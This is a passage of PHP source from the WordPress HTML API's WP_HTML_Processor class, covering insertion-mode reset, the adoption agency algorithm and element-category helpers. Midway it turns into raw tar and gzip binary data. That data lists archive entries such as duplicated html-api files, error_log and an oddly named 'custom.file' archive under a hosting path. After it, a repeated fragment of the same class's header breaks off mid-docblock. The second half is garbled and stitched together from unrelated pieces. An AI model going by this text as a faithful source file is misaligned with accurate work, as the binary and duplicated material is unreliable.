				/*
				 * > 5. If _node_ is a `td` or `th` element and _last_ is false, then switch the
				 * >    insertion mode to "in cell" and return.
				 */
				case 'TD':
				case 'TH':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CELL;
						return;
					}
					break;

					/*
					* > 6. If _node_ is a `tr` element, then switch the insertion mode to "in row"
					* >    and return.
					*/
				case 'TR':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
					return;

				/*
				 * > 7. If _node_ is a `tbody`, `thead`, or `tfoot` element, then switch the
				 * >    insertion mode to "in table body" and return.
				 */
				case 'TBODY':
				case 'THEAD':
				case 'TFOOT':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE_BODY;
					return;

				/*
				 * > 8. If _node_ is a `caption` element, then switch the insertion mode to
				 * >    "in caption" and return.
				 */
				case 'CAPTION':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_CAPTION;
					return;

				/*
				 * > 9. If _node_ is a `colgroup` element, then switch the insertion mode to
				 * >    "in column group" and return.
				 */
				case 'COLGROUP':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_COLUMN_GROUP;
					return;

				/*
				 * > 10. If _node_ is a `table` element, then switch the insertion mode to
				 * >     "in table" and return.
				 */
				case 'TABLE':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_TABLE;
					return;

				/*
				 * > 11. If _node_ is a `template` element, then switch the insertion mode to the
				 * >     current template insertion mode and return.
				 */
				case 'TEMPLATE':
					$this->state->insertion_mode = end( $this->state->stack_of_template_insertion_modes );
					return;

				/*
				 * > 12. If _node_ is a `head` element and _last_ is false, then switch the
				 * >     insertion mode to "in head" and return.
				 */
				case 'HEAD':
					if ( ! $last ) {
						$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_HEAD;
						return;
					}
					break;

				/*
				 * > 13. If _node_ is a `body` element, then switch the insertion mode to "in body"
				 * >     and return.
				 */
				case 'BODY':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
					return;

				/*
				 * > 14. If _node_ is a `frameset` element, then switch the insertion mode to
				 * >     "in frameset" and return. (fragment case)
				 */
				case 'FRAMESET':
					$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_FRAMESET;
					return;

				/*
				 * > 15. If _node_ is an `html` element, run these substeps:
				 * >     1. If the head element pointer is null, switch the insertion mode to
				 * >        "before head" and return. (fragment case)
				 * >     2. Otherwise, the head element pointer is not null, switch the insertion
				 * >        mode to "after head" and return.
				 */
				case 'HTML':
					$this->state->insertion_mode = isset( $this->state->head_element )
						? WP_HTML_Processor_State::INSERTION_MODE_AFTER_HEAD
						: WP_HTML_Processor_State::INSERTION_MODE_BEFORE_HEAD;
					return;
			}
		}

		/*
		 * > 16. If _last_ is true, then switch the insertion mode to "in body"
		 * >     and return. (fragment case)
		 *
		 * This is only reachable if `$last` is true, as per the fragment parsing case.
		 */
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_BODY;
	}

	/**
	 * Runs the adoption agency algorithm.
	 *
	 * @since 6.4.0
	 *
	 * @throws WP_HTML_Unsupported_Exception When encountering unsupported HTML input.
	 *
	 * @see https://html.spec.whatwg.org/#adoption-agency-algorithm
	 */
	private function run_adoption_agency_algorithm(): void {
		$budget       = 1000;
		$subject      = $this->get_tag();
		$current_node = $this->state->stack_of_open_elements->current_node();

		if (
			// > If the current node is an HTML element whose tag name is subject
			$current_node && $subject === $current_node->node_name &&
			// > the current node is not in the list of active formatting elements
			! $this->state->active_formatting_elements->contains_node( $current_node )
		) {
			$this->state->stack_of_open_elements->pop();
			return;
		}

		$outer_loop_counter = 0;
		while ( $budget-- > 0 ) {
			if ( $outer_loop_counter++ >= 8 ) {
				return;
			}

			/*
			 * > Let formatting element be the last element in the list of active formatting elements that:
			 * >   - is between the end of the list and the last marker in the list,
			 * >     if any, or the start of the list otherwise,
			 * >   - and has the tag name subject.
			 */
			$formatting_element = null;
			foreach ( $this->state->active_formatting_elements->walk_up() as $item ) {
				if ( 'marker' === $item->node_name ) {
					break;
				}

				if ( $subject === $item->node_name ) {
					$formatting_element = $item;
					break;
				}
			}

			// > If there is no such element, then return and instead act as described in the "any other end tag" entry above.
			if ( null === $formatting_element ) {
				$this->bail( 'Cannot run adoption agency when "any other end tag" is required.' );
			}

			// > If formatting element is not in the stack of open elements, then this is a parse error; remove the element from the list, and return.
			if ( ! $this->state->stack_of_open_elements->contains_node( $formatting_element ) ) {
				$this->state->active_formatting_elements->remove_node( $formatting_element );
				return;
			}

			// > If formatting element is in the stack of open elements, but the element is not in scope, then this is a parse error; return.
			if ( ! $this->state->stack_of_open_elements->has_element_in_scope( $formatting_element->node_name ) ) {
				return;
			}

			/*
			 * > Let furthest block be the topmost node in the stack of open elements that is lower in the stack
			 * > than formatting element, and is an element in the special category. There might not be one.
			 */
			$is_above_formatting_element = true;
			$furthest_block              = null;
			foreach ( $this->state->stack_of_open_elements->walk_down() as $item ) {
				if ( $is_above_formatting_element && $formatting_element->bookmark_name !== $item->bookmark_name ) {
					continue;
				}

				if ( $is_above_formatting_element ) {
					$is_above_formatting_element = false;
					continue;
				}

				if ( self::is_special( $item ) ) {
					$furthest_block = $item;
					break;
				}
			}

			/*
			 * > If there is no furthest block, then the UA must first pop all the nodes from the bottom of the
			 * > stack of open elements, from the current node up to and including formatting element, then
			 * > remove formatting element from the list of active formatting elements, and finally return.
			 */
			if ( null === $furthest_block ) {
				foreach ( $this->state->stack_of_open_elements->walk_up() as $item ) {
					$this->state->stack_of_open_elements->pop();

					if ( $formatting_element->bookmark_name === $item->bookmark_name ) {
						$this->state->active_formatting_elements->remove_node( $formatting_element );
						return;
					}
				}
			}

			$this->bail( 'Cannot extract common ancestor in adoption agency algorithm.' );
		}

		$this->bail( 'Cannot run adoption agency when looping required.' );
	}

	/**
	 * Runs the "close the cell" algorithm.
	 *
	 * > Where the steps above say to close the cell, they mean to run the following algorithm:
	 * >   1. Generate implied end tags.
	 * >   2. If the current node is not now a td element or a th element, then this is a parse error.
	 * >   3. Pop elements from the stack of open elements stack until a td element or a th element has been popped from the stack.
	 * >   4. Clear the list of active formatting elements up to the last marker.
	 * >   5. Switch the insertion mode to "in row".
	 *
	 * @see https://html.spec.whatwg.org/multipage/parsing.html#close-the-cell
	 *
	 * @since 6.7.0
	 */
	private function close_cell(): void {
		$this->generate_implied_end_tags();
		// @todo Parse error if the current node is a "td" or "th" element.
		foreach ( $this->state->stack_of_open_elements->walk_up() as $element ) {
			$this->state->stack_of_open_elements->pop();
			if ( 'TD' === $element->node_name || 'TH' === $element->node_name ) {
				break;
			}
		}
		$this->state->active_formatting_elements->clear_up_to_last_marker();
		$this->state->insertion_mode = WP_HTML_Processor_State::INSERTION_MODE_IN_ROW;
	}

	/**
	 * Inserts an HTML element on the stack of open elements.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token Name of bookmark pointing to element in original input HTML.
	 */
	private function insert_html_element( WP_HTML_Token $token ): void {
		$this->state->stack_of_open_elements->push( $token );
	}

	/**
	 * Inserts a foreign element on to the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#insert-a-foreign-element
	 *
	 * @param WP_HTML_Token $token                     Insert this token. The token's namespace and
	 *                                                 insertion point will be updated correctly.
	 * @param bool          $only_add_to_element_stack Whether to skip the "insert an element at the adjusted
	 *                                                 insertion location" algorithm when adding this element.
	 */
	private function insert_foreign_element( WP_HTML_Token $token, bool $only_add_to_element_stack ): void {
		$adjusted_current_node = $this->get_adjusted_current_node();

		$token->namespace = $adjusted_current_node ? $adjusted_current_node->namespace : 'html';

		if ( $this->is_mathml_integration_point() ) {
			$token->integration_node_type = 'math';
		} elseif ( $this->is_html_integration_point() ) {
			$token->integration_node_type = 'html';
		}

		if ( false === $only_add_to_element_stack ) {
			/*
			 * @todo Implement the "appropriate place for inserting a node" and the
			 *       "insert an element at the adjusted insertion location" algorithms.
			 *
			 * These algorithms mostly impacts DOM tree construction and not the HTML API.
			 * Here, there's no DOM node onto which the element will be appended, so the
			 * parser will skip this step.
			 *
			 * @see https://html.spec.whatwg.org/#insert-an-element-at-the-adjusted-insertion-location
			 */
		}

		$this->insert_html_element( $token );
	}

	/**
	 * Inserts a virtual element on the stack of open elements.
	 *
	 * @since 6.7.0
	 *
	 * @param string      $token_name    Name of token to create and insert into the stack of open elements.
	 * @param string|null $bookmark_name Optional. Name to give bookmark for created virtual node.
	 *                                   Defaults to auto-creating a bookmark name.
	 * @return WP_HTML_Token Newly-created virtual token.
	 */
	private function insert_virtual_node( $token_name, $bookmark_name = null ): WP_HTML_Token {
		$here = $this->bookmarks[ $this->state->current_token->bookmark_name ];
		$name = $bookmark_name ?? $this->bookmark_token();

		$this->bookmarks[ $name ] = new WP_HTML_Span( $here->start, 0 );

		$token = new WP_HTML_Token( $name, $token_name, false );
		$this->insert_html_element( $token );
		return $token;
	}

	/*
	 * HTML Specification Helpers
	 */

	/**
	 * Indicates if the current token is a MathML integration point.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#mathml-text-integration-point
	 *
	 * @return bool Whether the current token is a MathML integration point.
	 */
	private function is_mathml_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'math' !== $current_token->namespace || 'M' !== $current_token->node_name[0] ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		return (
			'MI' === $tag_name ||
			'MO' === $tag_name ||
			'MN' === $tag_name ||
			'MS' === $tag_name ||
			'MTEXT' === $tag_name
		);
	}

	/**
	 * Indicates if the current token is an HTML integration point.
	 *
	 * Note that this method must be an instance method with access
	 * to the current token, since it needs to examine the attributes
	 * of the currently-matched tag, if it's in the MathML namespace.
	 * Otherwise it would be required to scan the HTML and ensure that
	 * no other accounting is overlooked.
	 *
	 * @since 6.7.0
	 *
	 * @see https://html.spec.whatwg.org/#html-integration-point
	 *
	 * @return bool Whether the current token is an HTML integration point.
	 */
	private function is_html_integration_point(): bool {
		$current_token = $this->state->current_token;
		if ( ! isset( $current_token ) ) {
			return false;
		}

		if ( 'html' === $current_token->namespace ) {
			return false;
		}

		$tag_name = $current_token->node_name;

		if ( 'svg' === $current_token->namespace ) {
			return (
				'DESC' === $tag_name ||
				'FOREIGNOBJECT' === $tag_name ||
				'TITLE' === $tag_name
			);
		}

		if ( 'math' === $current_token->namespace ) {
			if ( 'ANNOTATION-XML' !== $tag_name ) {
				return false;
			}

			$encoding = $this->get_attribute( 'encoding' );

			return (
				is_string( $encoding ) &&
				(
					0 === strcasecmp( $encoding, 'application/xhtml+xml' ) ||
					0 === strcasecmp( $encoding, 'text/html' )
				)
			);
		}

		$this->bail( 'Should not have reached end of HTML Integration Point detection: check HTML API code.' );
		// This unnecessary return prevents tools from inaccurately reporting type errors.
		return false;
	}

	/**
	 * Returns whether an element of a given name is in the HTML special category.
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#special
	 *
	 * @param WP_HTML_Token|string $tag_name Node to check, or only its name if in the HTML namespace.
	 * @return bool Whether the element of the given name is in the special category.
	 */
	public static function is_special( $tag_name ): bool {
		if ( is_string( $tag_name ) ) {
			$tag_name = strtoupper( $tag_name );
		} else {
			$tag_name = 'html' === $tag_name->namespace
				? strtoupper( $tag_name->node_name )
				: "{$tag_name->namespace} {$tag_name->node_name}";
		}

		return (
			'ADDRESS' === $tag_name ||
			'APPLET' === $tag_name ||
			'AREA' === $tag_name ||
			'ARTICLE' === $tag_name ||
			'ASIDE' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name ||
			'BGSOUND' === $tag_name ||
			'BLOCKQUOTE' === $tag_name ||
			'BODY' === $tag_name ||
			'BR' === $tag_name ||
			'BUTTON' === $tag_name ||
			'CAPTION' === $tag_name ||
			'CENTER' === $tag_name ||
			'COL' === $tag_name ||
			'COLGROUP' === $tag_name ||
			'DD' === $tag_name ||
			'DETAILS' === $tag_name ||
			'DIR' === $tag_name ||
			'DIV' === $tag_name ||
			'DL' === $tag_name ||
			'DT' === $tag_name ||
			'EMBED' === $tag_name ||
			'FIELDSET' === $tag_name ||
			'FIGCAPTION' === $tag_name ||
			'FIGURE' === $tag_name ||
			'FOOTER' === $tag_name ||
			'FORM' === $tag_name ||
			'FRAME' === $tag_name ||
			'FRAMESET' === $tag_name ||
			'H1' === $tag_name ||
			'H2' === $tag_name ||
			'H3' === $tag_name ||
			'H4' === $tag_name ||
			'H5' === $tag_name ||
			'H6' === $tag_name ||
			'HEAD' === $tag_name ||
			'HEADER' === $tag_name ||
			'HGROUP' === $tag_name ||
			'HR' === $tag_name ||
			'HTML' === $tag_name ||
			'IFRAME' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name ||
			'LI' === $tag_name ||
			'LINK' === $tag_name ||
			'LISTING' === $tag_name ||
			'MAIN' === $tag_name ||
			'MARQUEE' === $tag_name ||
			'MENU' === $tag_name ||
			'META' === $tag_name ||
			'NAV' === $tag_name ||
			'NOEMBED' === $tag_name ||
			'NOFRAMES' === $tag_name ||
			'NOSCRIPT' === $tag_name ||
			'OBJECT' === $tag_name ||
			'OL' === $tag_name ||
			'P' === $tag_name ||
			'PARAM' === $tag_name ||
			'PLAINTEXT' === $tag_name ||
			'PRE' === $tag_name ||
			'SCRIPT' === $tag_name ||
			'SEARCH' === $tag_name ||
			'SECTION' === $tag_name ||
			'SELECT' === $tag_name ||
			'SOURCE' === $tag_name ||
			'STYLE' === $tag_name ||
			'SUMMARY' === $tag_name ||
			'TABLE' === $tag_name ||
			'TBODY' === $tag_name ||
			'TD' === $tag_name ||
			'TEMPLATE' === $tag_name ||
			'TEXTAREA' === $tag_name ||
			'TFOOT' === $tag_name ||
			'TH' === $tag_name ||
			'THEAD' === $tag_name ||
			'TITLE' === $tag_name ||
			'TR' === $tag_name ||
			'TRACK' === $tag_name ||
			'UL' === $tag_name ||
			'WBR' === $tag_name ||
			'XMP' === $tag_name ||

			// MathML.
			'math MI' === $tag_name ||
			'math MO' === $tag_name ||
			'math MN' === $tag_name ||
			'math MS' === $tag_name ||
			'math MTEXT' === $tag_name ||
			'math ANNOTATION-XML' === $tag_name ||

			// SVG.
			'svg DESC' === $tag_name ||
			'svg FOREIGNOBJECT' === $tag_name ||
			'svg TITLE' === $tag_name
		);
	}

	/**
	 * Returns whether a given element is an HTML Void Element
	 *
	 * > area, base, br, col, embed, hr, img, input, link, meta, source, track, wbr
	 *
	 * @since 6.4.0
	 *
	 * @see https://html.spec.whatwg.org/#void-elements
	 *
	 * @param string $tag_name Name of HTML tag to check.
	 * @return bool Whether the given tag is an HTML Void Element.
	 */
	public static function is_void( $tag_name ): bool {
		$tag_name = strtoupper( $tag_name );

		return (
			'AREA' === $tag_name ||
			'BASE' === $tag_name ||
			'BASEFONT' === $tag_name || // Obsolete but still treated as void.
			'BGSOUND' === $tag_name || // Obsolete but still treated as void.
			'BR' === $tag_name ||
			'COL' === $tag_name ||
			'EMBED' === $tag_name ||
			'FRAME' === $tag_name ||
			'HR' === $tag_name ||
			'IMG' === $tag_name ||
			'INPUT' === $tag_name ||
			'KEYGEN' === $tag_name || // Obsolete but still treated as void.
			'LINK' === $tag_name ||
			'META' === $tag_name ||
			'PARAM' === $tag_name || // Obsolete but still treated as void.
			'SOURCE' === $tag_name ||
			'TRACK' === $tag_name ||
			'WBR' === $tag_name
		);
	}

	/**
	 * Gets an encoding from a given string.
	 *
	 * This is an algorithm defined in the WHAT-WG specification.
	 *
	 * Example:
	 *
	 *     'UTF-8' === self::get_encoding( 'utf8' );
	 *     'UTF-8' === self::get_encoding( "  \tUTF-8 " );
	 *     null    === self::get_encoding( 'UTF-7' );
	 *     null    === self::get_encoding( 'utf8; charset=' );
	 *
	 * @see https://encoding.spec.whatwg.org/#concept-encoding-get
	 *
	 * @todo As this parser only supports UTF-8, only the UTF-8
	 *       encodings are detected. Add more as desired, but the
	 *       parser will bail on non-UTF-8 encodings.
	 *
	 * @since 6.7.0
	 *
	 * @param string $label A string which may specify a known encoding.
	 * @return string|null Known encoding if matched, otherwise null.
	 */
	protected static function get_encoding( string $label ): ?string {
		/*
		 * > Remove any leading and trailing ASCII whitespace from label.
		 */
		$label = trim( $label, " \t\f\r\n" );

		/*
		 * > If label is an ASCII case-insensitive match for any of the labels listed in the
		 * > table below, then return the corresponding encoding; otherwise return failure.
		 */
		switch ( strtolower( $label ) ) {
			case 'unicode-1-1-utf-8':
			case 'unicode11utf8':
			case 'unicode20utf8':
			case 'utf-8':
			case 'utf8':
			case 'x-unicode20utf8':
				return 'UTF-8';

			default:
				return null;
		}
	}

	/*
	 * Constants that would pollute the top of the class if they were found there.
	 */

	/**
	 * Indicates that the next HTML token should be parsed and processed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const PROCESS_NEXT_NODE = 'process-next-node';

	/**
	 * Indicates that the current HTML token should be reprocessed in the newly-selected insertion mode.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const REPROCESS_CURRENT_NODE = 'reprocess-current-node';

	/**
	 * Indicates that the current HTML token should be processed without advancing the parser.
	 *
	 * @since 6.5.0
	 *
	 * @var string
	 */
	const PROCESS_CURRENT_NODE = 'process-current-node';

	/**
	 * Indicates that the parser encountered unsupported markup and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_UNSUPPORTED = 'unsupported';

	/**
	 * Indicates that the parser encountered more HTML tokens than it
	 * was able to process and has bailed.
	 *
	 * @since 6.4.0
	 *
	 * @var string
	 */
	const ERROR_EXCEEDED_MAX_BOOKMARKS = 'exceeded-max-bookmarks';

	/**
	 * Unlock code that must be passed into the constructor to create this class.
	 *
	 * This class extends the WP_HTML_Tag_Processor, which has a public class
	 * constructor. Therefore, it's not possible to have a private constructor here.
	 *
	 * This unlock code is used to ensure that anyone calling the constructor is
	 * doing so with a full understanding that it's intended to be a private API.
	 *
	 * @access private
	 */
	const CONSTRUCTOR_UNLOCK_CODE = 'Use WP_HTML_Processor::create_fragment() instead of calling the class constructor directly.';
}
PKgN\*0��4C4C	index.phpnu�[���PKgN\�i���,mCclass-wp-html-attribute-token.php.php.tar.gznu�[���PKgN\6��-���Gerror_log.tar.gznu�[���PKgN\T7��[["�Tclass-wp-html-token.php.php.tar.gznu�[���PKgN\g���VV#bZclass-wp-html-tag-processor.php.tarnu�[���PKgN\��%JJ
��index.php.tarnu�[���PKgN\�Wy%�class-wp-html-attribute-token.php.tarnu�[���PKgN\�_���-G
class-wp-html-text-replacement.php.php.tar.gznu�[���PKgN\�ȩd�d:index.php.php.tar.gznu�[���PKgN\��|Kb�b�*'uclass-wp-html-tag-processor.php.php.tar.gznu�[���PKgN\��J��
class-wp-html-token.php.tarnu�[���PKgN\�l{<����	."error_lognu�[���PKgN\�A�&�class-wp-html-text-replacement.php.tarnu�[���PKE�N\�V2HHJclass-wp-html-decoder.php.tarnu�[���PKE�N\Գ�$$0�Zclass-wp-html-active-formatting-elements.php.tarnu�[���PKE�N\�J���7�~class-wp-html-active-formatting-elements.php.php.tar.gznu�[���PKE�N\��)�+,�class-wp-html-unsupported-exception.php.tarnu�[���PKE�N\�)�|cc$��class-wp-html-decoder.php.php.tar.gznu�[���PKE�N\�jZ�
�
>�10.tarnu�[���PKE�N\�`��

 t9custom.file.4.1766663904.php.tarnu�[���PKE�N\y��jj"�Cclass-wp-html-doctype-info.php.tarnu�[���PKE�N\��gnn/�html5-named-character-references.php.php.tar.gznu�[���PKE�N\�K]Ƴ�*�class-wp-html-open-elements.php.php.tar.gznu�[���PKE�N\TFė@@(�/html5-named-character-references.php.tarnu�[���PKE�N\s*���2�oclass-wp-html-unsupported-exception.php.php.tar.gznu�[���PKE�N\�N���)Huclass-wp-html-doctype-info.php.php.tar.gznu�[���PKE�N\حHG�G�&��class-wp-html-processor.php.php.tar.gznu�[���PKE�N\��U�^^#<'class-wp-html-open-elements.php.tarnu�[���PKE�N\�Ov���	��10.tar.gznu�[���PKE�N\�N[����M�10.zipnu�[���PKE�N\���HH.Q%class-wp-html-processor.php.tarnu�[���PK�}�(PKYO\~�����/10/class-wp-url-pattern-prefixer.php.php.tar.gznu�[�����Xmo�6�W�W\��3�vҬ�:i�mh��
��~h��(K(-i$���w��v�4��!��������Y9���Dd��>yez"��j'/bQ'\�c���'�;Ӛ�b��<�Ϲ�UY��1��t��`w��`��ϻ��{�8����=y��j��Q+�$B�X������oo�a�(�|:�>�{��8G'.�AeH�E���l��S)\U�<U��_x_�L�g^�,ɋ�����ko��~{8-%ؤBy@������\�IF�/y�y��7�&s13*jŁ)�+5�)范Z�GX{ �Lג��l�`q�'#�gLsc�E���h�[t��U��m+.��s)-	tt[�L�O�}Cs���fג
����d��VA��-��-gx�l����@�:֥܌a���d=R��V:/&z�;��SVM1�h��9���c}:������MQ�\G�50�pa�&\ge��6�i]���H�z7�~[���>	;��h��B<J]�l#Ձ8�֖���9XUMX�ziJ/���~Bg�F[�e���t8�*f���9��AK���0���l3�����욏��43K�����-�z���m��$���c���3_�0�qB�Zv�
����,7D��N��&a�׳
LK��J�c��^�3 �%9-�r*�\u
(?g�Jp$`0���h@�IcPl��Em�&�X��H
��l4,�8��J�6����TYh���Q-�hHJ<xQj`Br������#jC���f��Ӎ�}*-�4�E�Id.c���	/llVu���:m���=֥!��{a���6�P8 _i��n�*�%
N,��lS�[�h���Z_t��j�,Z��~�S���(�h��\�9�09s�DN\d��!>T�
v��>7�_��O+JJ��rMe�uo�:���������7Qd�I�4~v���j)t�fX�DRf��c�����{-�;���ڼ�!~�c�C�t����N;��-&�9�xZ[r�%r,�+���Y����ſ�p�0,E��a�bA8���Z�(�hۢ���
/zLK�9�����c��
�4��8�uI:����pI�-�9�eL�".��a�l�f�.U/K��j(8O��r��;D�,��eYW�S�0�{�*�wR�L�L��;�+l���\rK#�,M��=M`�
��i�[$1��|/i��)�Y�V�cg��N)1���]���-{k%��,�{�Ks0VU./w!>�\�����*���&��"�5Ѕ�]�Ѓ�\MŴ�+�Ć'UÒK�Z�&���A�I�]+,�^J[���sC��oӃ�Z$���{�D7"�p��6�d��G���z����v��{ �A&WԢ���v�Qd��_4Mb��
�}K�����Z�޺�on��fm}74t��E� �7�������\hW:0�"�Z���@:�7��.��rm���L�-����58�x]�;�
�gVm��VE-�s�����‰b���F���N�r:��T��]u��N珠5�f��\�+h*�g���S]��W��li�wj�?�M-Y��ߍ	�J8��?B����Tx���W~zYʹ�԰�G}�K?a���LǽR�����w��8���m�W�����+�m������61n�#��ej:���a���)b��6Dh�۫��$��}3������e���������q?�������(�PKYO\�_{�ss10/class-feed.php.php.tar.gznu�[�����]K�0��5��x�v�/�nt�ÁHa�n����6��bӢ(�wӲ�/�ď�>���
oNHަ��T��8K]Y/2�iZ�$mQ�Q�<cJ�	b��T숧������?��?z��A�۵�>Ԫb�n���!�g�B����D_0������d|��2�JT�UU��L4�V�Q��Y���3t<-����&"CLa�r]Q:��\Q
�1���E�Oi4�2�"0��R|�R&3��#���J��)K?����Z�HWG_̢��580�����k�C�Z��$��7B���?H�Q�3�n�X�d�XT;/�ݼ��7��/h/��:͎�������Wt
PKYO\���HH"10/class-wp-html-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-processor.php000064400000640677151440300410023002 0ustar00<?php
/**
 * HTML API: WP_HTML_Processor class
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.4.0
 */

/**
 * Core class used to safely parse and modify an HTML document.
 *
 * The HTML Processor class properly parses and modifies HTML5 documents.
 *
 * It supports a subset of the HTML5 specification, and when it encounters
 * unsupported markup, it aborts early to avoid unintentionally breaking
 * the document. The HTML Processor should never break an HTML document.
 *
 * While the `WP_HTML_Tag_Processor` is a valuable tool for modifying
 * attributes on individual HTML tags, the HTML Processor is more capable
 * and useful for the following operations:
 *
 *  - Querying based on nested HTML structure.
 *
 * Eventually the HTML Processor will also support:
 *  - Wrapping a tag in surrounding HTML.
 *  - Unwrapping a tag by removing its parent.
 *  - Inserting and removing nodes.
 *  - Reading and changing inner content.
 *  - Navigating up or around HTML structure.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *   1. Call a static creator method with your input HTML document.
 *   2. Find the location in the document you are looking for.
 *   3. Request changes to the document at that location.
 *
 * Example:
 *
 *     $processor = WP_HTML_Processor::create_fragment( $html );
 *     if ( $processor->next_tag( array( 'breadcrumbs' => array( 'DIV', 'FIGURE', 'IMG' ) ) ) ) {
 *         $processor->add_class( 'responsive-image' );
 *     }
 *
 * #### Breadcrumbs
 *
 * Breadcrumbs represent the stack of open elements from the root
 * of the document or fragment down to the currently-matched node,
 * if one is currently selected. Call WP_HTML_Processor::get_breadcrumbs()
 * to inspect the breadcrumbs for a matched tag.
 *
 * Breadcrumbs can specify nested HTML structure and are equivalent
 * to a CSS selector comprising tag names separated by the child
 * combinator, such as "DIV > FIGURE > IMG".
 *
 * Since all elements find themselves inside a full HTML document
 * when parsed, the return value from `get_breadcrumbs()` will always
 * contain any implicit outermost elements. For example, when parsing
 * with `create_fragment()` in the `BODY` context (the default), any
 * tag in the given HTML document will contain `array( 'HTML', 'BODY', … )`
 * in its breadcrumbs.
 *
 * Despite containing the implied outermost elements in their breadcrumbs,
 * tags may be found with the shortest-matching breadcrumb query. That is,
 * `array( 'IMG' )` matches all IMG elements and `array( 'P', 'IMG' )`
 * matches all IMG elements directly inside a P element. To ensure that no
 * partial matches erroneously match it's possible to specify in a query
 * the full breadcrumb match all the way down from the root HTML element.
 *
 * Example:
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //               ----- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'IMG' ) ) );
 *
 *     $html = '<figure><img><figcaption>A <em>lovely</em> day outside</figcaption></figure>';
 *     //                                  ---- Matches here.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'FIGURE', 'FIGCAPTION', 'EM' ) ) );
 *
 *     $html = '<div><img></div><img>';
 *     //                       ----- Matches here, because IMG must be a direct child of the implicit BODY.
 *     $processor->next_tag( array( 'breadcrumbs' => array( 'BODY', 'IMG' ) ) );
 *
 * ## HTML Support
 *
 * This class implements a small part of the HTML5 specification.
 * It's designed to operate within its support and abort early whenever
 * encountering circumstances it can't properly handle. This is
 * the principle way in which this class remains as simple as possible
 * without cutting corners and breaking compliance.
 *
 * ### Supported elements
 *
 * If any unsupported element appears in the HTML input the HTML Processor
 * will abort early and stop all processing. This draconian measure ensures
 * that the HTML Processor won't break any HTML it doesn't fully understand.
 *
 * The HTML Processor supports all elements other than a specific set:
 *
 *  - Any element inside a TABLE.
 *  - Any element inside foreign content, including SVG and MATH.
 *  - Any element outside the IN BODY insertion mode, e.g. doctype declarations, meta, links.
 *
 * ### Supported markup
 *
 * Some kinds of non-normative HTML involve reconstruction of formatting elements and
 * re-parenting of mis-nested elements. For example, a DIV tag found inside a TABLE
 * may in fact belong _before_ the table in the DOM. If the HTML Processor encounters
 * such a case it will stop processing.
 *
 * The following list illustrates some common examples of unexpected HTML inputs that
 * the HTML Processor properly parses and represents:
 *
 *  - HTML with optional tags omitted, e.g. `<p>one<p>two`.
 *  - HTML with unexpected tag closers, e.g. `<p>one </span> more</p>`.
 *  - Non-void tags with self-closing flag, e.g. `<div/>the DIV is still open.</div>`.
 *  - Heading elements which close open heading elements of another level, e.g. `<h1>Closed by </h2>`.
 *  - Elements containing text that looks like other tags but isn't, e.g. `<title>The <img> is plaintext</title>`.
 *  - SCRIPT and STYLE tags containing text that looks like HTML but isn't, e.g. `<script>document.write('<p>Hi</p>');</script>`.
 *  - SCRIPT content which has been escaped, e.g. `<script><!-- document.write('<script>console.log("hi")</script>') --></script>`.
 *
 * ### Unsupported Features
 *
 * This parser does not report parse errors.
 *
 * Normally, when additional HTML or BODY tags are encountered in a document, if there
 * are any additional attributes on them that aren't found on the previous elements,
 * the existing HTML and BODY elements adopt those missing attribute values. This
 * parser does not add those additional attributes.
 *
 * In certain situations, elements are moved to a different part of the document in
 * a process called "adoption" and "fostering." Because the nodes move to a location
 * in the document that the parser had already processed, this parser does not support
 * these situations and will bail.
 *
 * @since 6.4.0
 *
 * @see WP_HTML_Tag_Processor
 * @see https://html.spec.whatwg.org/
 */
class WP_HTML_Processor extends WP_HTML_Tag_Processor {
	/**
	 * The maximum number of bookmarks allowed to exist at any given time.
	 *
	 * HTML processing requires more bookmarks than basic tag processing,
	 * so this class constant from the Tag Processor is overwritten.
	 *
	 * @since 6.4.0
	 *
	 * @var int
	 */
	const MAX_BOOKMARKS = 100;

	/**
	 * Holds the working state of the parser, including the stack of
	 * open elements and the stack of active formatting elements.
	 *
	 * Initialized in the constructor.
	 *
	 * @since 6.4.0
	 *
	 * @var WP_HTML_Processor_State
	 */
	private $state;

	/**
	 * Used to create unique bookmark names.
	 *
	 * This class sets a bookmark for every tag in the HTML document that it encounters.
	 * The bookmark name is auto-generated and increments, starting with `1`. These are
	 * internal bookmarks and are automatically released when the referring WP_HTML_Token
	 * goes out of scope and is garbage-collected.
	 *
	 * @since 6.4.0
	 *
	 * @see WP_HTML_Processor::$release_internal_bookmark_on_destruct
	 *
	 * @var int
	 */
	private $bookmark_counter = 0;

	/**
	 * Stores an explanation for why something failed, if it did.
	 *
	 * @see self::get_last_error
	 *
	 * @since 6.4.0
